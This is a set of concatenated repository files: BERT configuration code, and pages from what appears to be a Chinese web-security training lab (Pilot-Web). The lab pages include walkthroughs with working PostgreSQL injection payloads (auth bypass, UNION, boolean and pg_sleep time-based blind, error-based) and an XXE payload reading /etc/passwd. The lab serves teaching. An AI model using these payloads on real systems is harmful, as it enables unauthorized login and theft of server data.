"https://huggingface.co/bert-large-cased-whole-word-masking/resolve/main/config.json"
),
"bert-large-uncased-whole-word-masking-finetuned-squad": (
"https://huggingface.co/bert-large-uncased-whole-word-masking-finetuned-squad/resolve/main/config.json"
),
"bert-large-cased-whole-word-masking-finetuned-squad": (
"https://huggingface.co/bert-large-cased-whole-word-masking-finetuned-squad/resolve/main/config.json"
),
"bert-base-cased-finetuned-mrpc": "https://huggingface.co/bert-base-cased-finetuned-mrpc/resolve/main/config.json",
"bert-base-german-dbmdz-cased": "https://huggingface.co/bert-base-german-dbmdz-cased/resolve/main/config.json",
"bert-base-german-dbmdz-uncased": "https://huggingface.co/bert-base-german-dbmdz-uncased/resolve/main/config.json",
"cl-tohoku/bert-base-japanese": "https://huggingface.co/cl-tohoku/bert-base-japanese/resolve/main/config.json",
"cl-tohoku/bert-base-japanese-whole-word-masking": (
"https://huggingface.co/cl-tohoku/bert-base-japanese-whole-word-masking/resolve/main/config.json"
),
"cl-tohoku/bert-base-japanese-char": (
"https://huggingface.co/cl-tohoku/bert-base-japanese-char/resolve/main/config.json"
),
"cl-tohoku/bert-base-japanese-char-whole-word-masking": (
"https://huggingface.co/cl-tohoku/bert-base-japanese-char-whole-word-masking/resolve/main/config.json"
),
"TurkuNLP/bert-base-finnish-cased-v1": (
"https://huggingface.co/TurkuNLP/bert-base-finnish-cased-v1/resolve/main/config.json"
),
"TurkuNLP/bert-base-finnish-uncased-v1": (
"https://huggingface.co/TurkuNLP/bert-base-finnish-uncased-v1/resolve/main/config.json"
),
"wietsedv/bert-base-dutch-cased": "https://huggingface.co/wietsedv/bert-base-dutch-cased/resolve/main/config.json",
# See all BERT models at https://huggingface.co/models?filter=bert
}
class BertConfig(PretrainedConfig):
r"""
This is the configuration class to store the configuration of a [`BertModel`] or a [`TFBertModel`]. It is used to
instantiate a BERT model according to the specified arguments, defining the model architecture. Instantiating a
configuration with the defaults will yield a similar configuration to that of the BERT
[bert-base-uncased](https://huggingface.co/bert-base-uncased) architecture.
Configuration objects inherit from [`PretrainedConfig`] and can be used to control the model outputs. Read the
documentation from [`PretrainedConfig`] for more information.
Args:
vocab_size (`int`, *optional*, defaults to 30522):
Vocabulary size of the BERT model. Defines the number of different tokens that can be represented by the
`inputs_ids` passed when calling [`BertModel`] or [`TFBertModel`].
hidden_size (`int`, *optional*, defaults to 768):
Dimensionality of the encoder layers and the pooler layer.
num_hidden_layers (`int`, *optional*, defaults to 12):
Number of hidden layers in the Transformer encoder.
num_attention_heads (`int`, *optional*, defaults to 12):
Number of attention heads for each attention layer in the Transformer encoder.
intermediate_size (`int`, *optional*, defaults to 3072):
Dimensionality of the "intermediate" (often named feed-forward) layer in the Transformer encoder.
hidden_act (`str` or `Callable`, *optional*, defaults to `"gelu"`):
The non-linear activation function (function or string) in the encoder and pooler. If string, `"gelu"`,
`"relu"`, `"silu"` and `"gelu_new"` are supported.
hidden_dropout_prob (`float`, *optional*, defaults to 0.1):
The dropout probability for all fully connected layers in the embeddings, encoder, and pooler.
attention_probs_dropout_prob (`float`, *optional*, defaults to 0.1):
The dropout ratio for the attention probabilities.
max_position_embeddings (`int`, *optional*, defaults to 512):
The maximum sequence length that this model might ever be used with. Typically set this to something large
just in case (e.g., 512 or 1024 or 2048).
type_vocab_size (`int`, *optional*, defaults to 2):
The vocabulary size of the `token_type_ids` passed when calling [`BertModel`] or [`TFBertModel`].
initializer_range (`float`, *optional*, defaults to 0.02):
The standard deviation of the truncated_normal_initializer for initializing all weight matrices.
layer_norm_eps (`float`, *optional*, defaults to 1e-12):
The epsilon used by the layer normalization layers.
position_embedding_type (`str`, *optional*, defaults to `"absolute"`):
Type of position embedding. Choose one of `"absolute"`, `"relative_key"`, `"relative_key_query"`. For
positional embeddings use `"absolute"`. For more information on `"relative_key"`, please refer to
[Self-Attention with Relative Position Representations (Shaw et al.)](https://arxiv.org/abs/1803.02155).
For more information on `"relative_key_query"`, please refer to *Method 4* in [Improve Transformer Models
with Better Relative Position Embeddings (Huang et al.)](https://arxiv.org/abs/2009.13658).
is_decoder (`bool`, *optional*, defaults to `False`):
Whether the model is used as a decoder or not. If `False`, the model is used as an encoder.
use_cache (`bool`, *optional*, defaults to `True`):
Whether or not the model should return the last key/values attentions (not used by all models). Only
relevant if `config.is_decoder=True`.
classifier_dropout (`float`, *optional*):
The dropout ratio for the classification head.
Examples:
```python
>>> from transformers import BertConfig, BertModel
>>> # Initializing a BERT bert-base-uncased style configuration
>>> configuration = BertConfig()
>>> # Initializing a model (with random weights) from the bert-base-uncased style configuration
>>> model = BertModel(configuration)
>>> # Accessing the model configuration
>>> configuration = model.config
```"""
model_type = "bert"
def __init__(
self,
vocab_size=30522,
hidden_size=768,
num_hidden_layers=12,
num_attention_heads=12,
intermediate_size=3072,
hidden_act="gelu",
hidden_dropout_prob=0.1,
attention_probs_dropout_prob=0.1,
max_position_embeddings=512,
type_vocab_size=2,
initializer_range=0.02,
layer_norm_eps=1e-12,
pad_token_id=0,
position_embedding_type="absolute",
use_cache=True,
classifier_dropout=None,
**kwargs,
):
super().__init__(pad_token_id=pad_token_id, **kwargs)
self.vocab_size = vocab_size
self.hidden_size = hidden_size
self.num_hidden_layers = num_hidden_layers
self.num_attention_heads = num_attention_heads
self.hidden_act = hidden_act
self.intermediate_size = intermediate_size
self.hidden_dropout_prob = hidden_dropout_prob
self.attention_probs_dropout_prob = attention_probs_dropout_prob
self.max_position_embeddings = max_position_embeddings
self.type_vocab_size = type_vocab_size
self.initializer_range = initializer_range
self.layer_norm_eps = layer_norm_eps
self.position_embedding_type = position_embedding_type
self.use_cache = use_cache
self.classifier_dropout = classifier_dropout
class BertOnnxConfig(OnnxConfig):
@property
def inputs(self) -> Mapping[str, Mapping[int, str]]:
if self.task == "multiple-choice":
dynamic_axis = {0: "batch", 1: "choice", 2: "sequence"}
else:
dynamic_axis = {0: "batch", 1: "sequence"}
return OrderedDict(
[
("input_ids", dynamic_axis),
("attention_mask", dynamic_axis),
("token_type_ids", dynamic_axis),
]
)
|
2740908911/Pilot-Web | 12,184 | pilot-client/pages/sqli/sqli_pgsql.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>SQL注入-PostgreSql注入</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>PostgreSql注入</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<div class="card-header" id="LoginT">
<h3 class="card-title">后台登录</h3>
</div>
<form action="" onsubmit="return false" id="Login">
<div class="card-body">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" class="form-control" name="username" id="username" placeholder="Enter username or phone number">
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" class="form-control" name="password" id="password" placeholder="Password">
</div>
</div>
<div class="card-footer">
<button type="submit" id="loginButton" class="btn btn-primary" onclick="doLogin()">登录</button>
</div>
</form>
</div>
<div class="card card-primary" id="adminAuthSection">
<div class="card-header">
<h3 class="card-title"><strong>用户列表</strong></h3>
</div>
<div class="card-body">
<table id="adminAuthTable" class="table">
<thead>
<tr>
<th>序号</th>
<th>账号</th>
<th>手机号</th>
<th>PID</th>
<th>UID</th>
</tr>
</thead>
<tbody>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>一般来说,如果一个点可以注入,那大概整个系统都完蛋-_-</li><br>
<li>如果页面没有回显,那么你会怎么利用注入呢?</li><br>
<li>如果你不会PostgreSql的语法,建议百度一下~</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>进入漏洞页面,随意登录,并抓取登录数据包:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-1.png" referrerpolicy="no-referrer" alt="l3-1"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')</code></p></li></ul></li><li><p><span>对登录时通常不会进行加密存储的</span><code>username</code><span>参数进行Sql注入测试:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-2.png" referrerpolicy="no-referrer" alt="l3-2"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin'' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')</code><span>,语法错误。</span></p></li></ul></li><li><p><span>可以发现后端数据库产生报错。此处为登录接口,回显点为</span><code>username</code><span>,即一般考虑联合查询、布尔注入、时间盲注、布尔盲注、报错注入。</span></p></li><li><p><span>首先进行联合查询测试,尝试查询数据库名称:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-2-1.png" referrerpolicy="no-referrer" alt="l3-2-1"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT USERNAME FROM USER WHERE (USERNAME = '-1') UNION SELECT current_database() -- PASSWORD = '21232f297a57a5a743894a0e4a801fc3')</code><span>,</span><code>--</code><span> 是注释符。</span></p></li></ul></li><li><p><span>其次进行布尔测试,判断SQL语句闭合情况,并进行无密码登录:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-3.png" referrerpolicy="no-referrer" alt="l3-3"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin' or '1'='1')-- ' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')</code><span>,</span><code>--</code><span> 是注释符。</span></p></li></ul><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-4.png" referrerpolicy="no-referrer" alt="l3-4"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin' or '1'='1' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')</code></p></li></ul></li><li><p><span>可以发现以上两种情况可以正确闭合Sql语句。通过布尔盲注爆破库名,这里演示为使用BurpSuite完成:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-5.png" referrerpolicy="no-referrer" alt="l3-5"></div></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-6.png" referrerpolicy="no-referrer" alt="l3-6"></div></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-7.png" referrerpolicy="no-referrer" alt="l3-7"></div></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-8.png" referrerpolicy="no-referrer" alt="l3-8"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin' and substring(current_database(),1,1)='a')-- ' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')</code></p></li></ul></li><li><p><span>尝试是否可以进行延时注入,对数据库进行5秒延时:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-9.png" referrerpolicy="no-referrer" alt="l3-9"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin' or (select pg_sleep(5)) is null)-- ' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')</code></p></li></ul></li><li><p><span>可以进行延时注入。尝试时间盲注爆破库名,这里演示为使用Python脚本完成:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-10.png" referrerpolicy="no-referrer" alt="l3-10"></div></p><ul><li>Python脚本源码下载:<a href="assist/l3-sqli.py" target="_blank">PostgreSql时间盲注脚本</a></li><li><p><span>此时的Sql语句为:</span><code>SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin' and (select case when(ascii(substring(current_database(),{i},1))>{mid}) then pg_sleep(3) else null end) is null)-- ' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')</code></p></li></ul></li><li><p><span>因为之前已经验证过此处会返回SQL语句报错,故也可以进行报错注入:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-11.png" referrerpolicy="no-referrer" alt="l3-11"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT "USERNAME" FROM pilot."USER" WHERE ("USERNAME" = 'admin')and cast((select version()) as int)=1-- ' AND "PASSWORD" = '21232f297a57a5a743894a0e4a801fc3')</code><span>,类型转换会报错出数据库版本号。</span></p></li></ul></li><li><p><span>除了登录接口可以注入外,登录后的信息获取接口也可以进行布尔注入、时间注入和报错注入,因为原理一样,此处不再演示。</span></p><p> </p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>在登录和查询信息时,使用拼接SQL语句的方式构造命令,而不是通过预编译后再执行命令,致使SQL注入漏洞产生:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-3.html" width="100%" height="1595px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-3.html" width="100%" height="3380px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("SQL注入", ["PostgreSql注入"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
$(document).ready(function() {
$("#adminAuthSection").hide(); // 页面加载时隐藏
});
var loginData = {
username: null,
token: null
};
function doLogin(){
let data = {
username: $("#username")[0].value,
password: $("#password")[0].value,
}
$.post({
url: `http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/sqli/l3/login`,
data,
dataType: "json",
success(resp){
if(resp["status"] === "200"){
loginData.token = resp["token"]; // 从响应中获取token
loginData.username = resp["username"]; // 从响应中获取用户名
$("#notice")[0].innerHTML = generateNote("登录成功!欢迎, " + resp["username"]);
fetchAdminAuthData();
} else if(resp["status"] === "405"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
} else if(resp["status"] === "401"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
}
},
error: function(jqXHR, textStatus, errorThrown) {
// 添加错误处理
$("#notice")[0].innerHTML = generateNote("发生错误:" + textStatus + ", " + errorThrown);
}
})
}
function fetchAdminAuthData() {
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/sqli/l3/getAuthinfo?n=' + loginData.username,
headers: {
'Authorization': loginData.token
},
success: function(response) {
if (response.status === "403") {
$("#notice")[0].innerHTML = generateNote("Token过期或错误,请重新登录");
} else if (response.status === "400") {
$("#notice")[0].innerHTML = generateNote("账号权限不足,请使用高权限账号登录");
} else if (response.status === "200") {
$("#adminAuthSection").show();
$("#LoginT").hide();
$("#Login").hide();
populateAuthTable(response.msg);
}
},
error: function() {
$("#notice")[0].innerHTML = generateNote("数据获取失败,请稍后重试");
}
});
}
function populateAuthTable(data) {
var tableBody = $("#adminAuthTable tbody");
tableBody.empty();
data.forEach(function(item, index) {
var row = `
<tr>
<td style="font-size: 21px">${index + 1}</td>
<td style="font-size: 21px">${item.USERNAME}</td>
<td style="font-size: 21px">${item.PHONE}</td>
<td style="font-size: 21px">${item.PID}</td>
<td style="font-size: 20px">${item.UID === 1 ? "管理员" : "普通用户"}</td>
</tr>
`;
tableBody.append(row);
});
}
</script>
</body>
</html> |
2740908911/Pilot-Web | 5,280 | pilot-client/pages/xxe/xml_parse.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>XML外部实体注入-XXE</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>XXE</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<div class="card-header">
<h3 class="card-title">解析你的XML代码</h3>
</div>
<form action="" onsubmit="return false">
<div class="card-body">
<div class="form-group">
<input type="text" class="form-control" name="spelText" id="payload" placeholder="Enter spelText">
</div>
<button type="submit" class="btn btn-primary" onclick="ToXML()">执行语句</button>
</div>
</form>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>你知道什么是XML文档格式吗?!</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>在漏洞页面直接输入xml代码即可,尝试打印字符串:</span></p><ul><li><p><code><?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY fanqie "pilot"> ]> <xml>&fanqie;</xml></code></p></li></ul><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-1.png" referrerpolicy="no-referrer" alt="l1-1"></div></p></li><li><p><span>尝试外部实体注入(XXE),读取系统文件:</span></p><ul><li><p><code><?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY fanqie SYSTEM "file:///etc/passwd"> ]> <pilot>&fanqie;</pilot></code></p></li></ul><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-2.png" referrerpolicy="no-referrer" alt="l1-2"></div></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>在接收XML并解析的代码中,未禁用外部实体解析功能,且未对数据进行过滤,会产生较大的安全风险:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-1.html" width="100%" height="560px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-1.html" width="100%" height="2400px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("XML外部实体注入", ["XXE"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
function ToXML() {
var payload = document.getElementById('payload').value;
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/xxe/l1/xmldata',
type: 'POST',
contentType: 'application/x-www-form-urlencoded',
data: 'xml=' + encodeURIComponent(payload),
success: function(response) {
$("#notice")[0].innerHTML = generateNote(response.msg);
},
error: function(error) {
console.error('Error:', error);
}
});
}
</script>
</body>
</html>
|
2740908911/Pilot-Web | 2,845 | pilot-client/pages/xxe/index.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>XML外部实体注入-概述</title>
<link rel="stylesheet"
href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>概述</strong></h3>
</div>
<div class="card-body">
<div class="markdown prose w-full break-words dark:prose-invert light">
<p>XXE漏洞是指XML外部实体注入漏洞(XML External Entity Injection),应用程序在解析XML内容时,没有禁止外部实体的加载,导致可加载恶意外部文件,危害服务器安全。</p>
<p>通常,攻击者会在XML文档中注入恶意的外部实体引用,这些实体引用包含了恶意代码,一旦被服务器解析执行,就会执行相应的操作,例如访问敏感数据、上传恶意文件等。攻击者可以通过修改HTTP请求中的XML数据来触发XXE漏洞。</p>
<p>一般XXE漏洞存在以下危害:</p>
<ol>
<li><p>文件读取</p></li>
<li><p>内网端口扫描</p></li>
<li><p>攻击内网网站</p></li>
<li><p>发起dos攻击</p></li>
<li><p>命令执行(特定情况下)</p></li>
</ol>
<p>所有能传能解析XML数据给服务端的地方,都可能存在XXE,例如:上传XML、Excel、Word、Svg等文件。</p>
</div>
</div>
</div>
</div>
</section>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("XML外部实体注入", ["概述"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
</body>
</html> |
27182812/ChatGLM-LLaMA-chinese-insturct | 6,057 | src/transformers/models/bert/__init__.py | # Copyright 2020 The HuggingFace Team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from typing import TYPE_CHECKING
from ...utils import (
OptionalDependencyNotAvailable,
_LazyModule,
is_flax_available,
is_tensorflow_text_available,
is_tf_available,
is_tokenizers_available,
is_torch_available,
)
_import_structure = {
"configuration_bert": ["BERT_PRETRAINED_CONFIG_ARCHIVE_MAP", "BertConfig", "BertOnnxConfig"],
"tokenization_bert": ["BasicTokenizer", "BertTokenizer", "WordpieceTokenizer"],
}
try:
if not is_tokenizers_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
_import_structure["tokenization_bert_fast"] = ["BertTokenizerFast"]
try:
if not is_torch_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
_import_structure["modeling_bert"] = [
"BERT_PRETRAINED_MODEL_ARCHIVE_LIST",
"BertForMaskedLM",
"BertForMultipleChoice",
"BertForNextSentencePrediction",
"BertForPreTraining",
"BertForQuestionAnswering",
"BertForSequenceClassification",
"BertForTokenClassification",
"BertLayer",
"BertLMHeadModel",
"BertModel",
"BertPreTrainedModel",
"load_tf_weights_in_bert",
]
try:
if not is_tf_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
_import_structure["modeling_tf_bert"] = [
"TF_BERT_PRETRAINED_MODEL_ARCHIVE_LIST",
"TFBertEmbeddings",
"TFBertForMaskedLM",
"TFBertForMultipleChoice",
"TFBertForNextSentencePrediction",
"TFBertForPreTraining",
"TFBertForQuestionAnswering",
"TFBertForSequenceClassification",
"TFBertForTokenClassification",
"TFBertLMHeadModel",
"TFBertMainLayer",
"TFBertModel",
"TFBertPreTrainedModel",
]
try:
if not is_tensorflow_text_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
_import_structure["tokenization_bert_tf"] = ["TFBertTokenizer"]
try:
if not is_flax_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
_import_structure["modeling_flax_bert"] = [
"FlaxBertForCausalLM",
"FlaxBertForMaskedLM",
"FlaxBertForMultipleChoice",
"FlaxBertForNextSentencePrediction",
"FlaxBertForPreTraining",
"FlaxBertForQuestionAnswering",
"FlaxBertForSequenceClassification",
"FlaxBertForTokenClassification",
"FlaxBertModel",
"FlaxBertPreTrainedModel",
]
if TYPE_CHECKING:
from .configuration_bert import BERT_PRETRAINED_CONFIG_ARCHIVE_MAP, BertConfig, BertOnnxConfig
from .tokenization_bert import BasicTokenizer, BertTokenizer, WordpieceTokenizer
try:
if not is_tokenizers_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
from .tokenization_bert_fast import BertTokenizerFast
try:
if not is_torch_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
from .modeling_bert import (
BERT_PRETRAINED_MODEL_ARCHIVE_LIST,
BertForMaskedLM,
BertForMultipleChoice,
BertForNextSentencePrediction,
BertForPreTraining,
BertForQuestionAnswering,
BertForSequenceClassification,
BertForTokenClassification,
BertLayer,
BertLMHeadModel,
BertModel,
BertPreTrainedModel,
load_tf_weights_in_bert,
)
try:
if not is_tf_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
from .modeling_tf_bert import (
TF_BERT_PRETRAINED_MODEL_ARCHIVE_LIST,
TFBertEmbeddings,
TFBertForMaskedLM,
TFBertForMultipleChoice,
TFBertForNextSentencePrediction,
TFBertForPreTraining,
TFBertForQuestionAnswering,
TFBertForSequenceClassification,
TFBertForTokenClassification,
TFBertLMHeadModel,
TFBertMainLayer,
TFBertModel,
TFBertPreTrainedModel,
)
try:
if not is_tensorflow_text_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
from .tokenization_bert_tf import TFBertTokenizer
try:
if not is_flax_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
from .modeling_flax_bert import (
FlaxBertForCausalLM,
FlaxBertForMaskedLM,
FlaxBertForMultipleChoice,
FlaxBertForNextSentencePrediction,
FlaxBertForPreTraining,
FlaxBertForQuestionAnswering,
FlaxBertForSequenceClassification,
FlaxBertForTokenClassification,
FlaxBertModel,
FlaxBertPreTrainedModel,
)
else:
import sys
sys.modules[__name__] = _LazyModule(__name__, globals()["__file__"], _import_structure, module_spec=__spec__)
|
2740908911/Pilot-Web | 7,251 | pilot-client/pages/bruteforce/assist/sCode-2.html | <!doctype html>
<html>
<head>
<meta charset='UTF-8'><meta name='viewport' content='width=device-width initial-scale=1'>
<link rel='stylesheet' href='../../../plugins/googleapis/fonts.css'>
<link rel="stylesheet" href="../../../dist/css/markdown.css">
</head>
<body class='typora-export os-windows'><div class='typora-export-content'>
<div id='write' class='card'><pre class="md-fences md-end-block ty-contain-cm modeLoaded md-focus" spellcheck="false" lang="python" style="break-inside: unset;"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap CodeMirror-focused" lang="python"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 493.172px; left: 276.992px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="" style="position: relative;"><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span 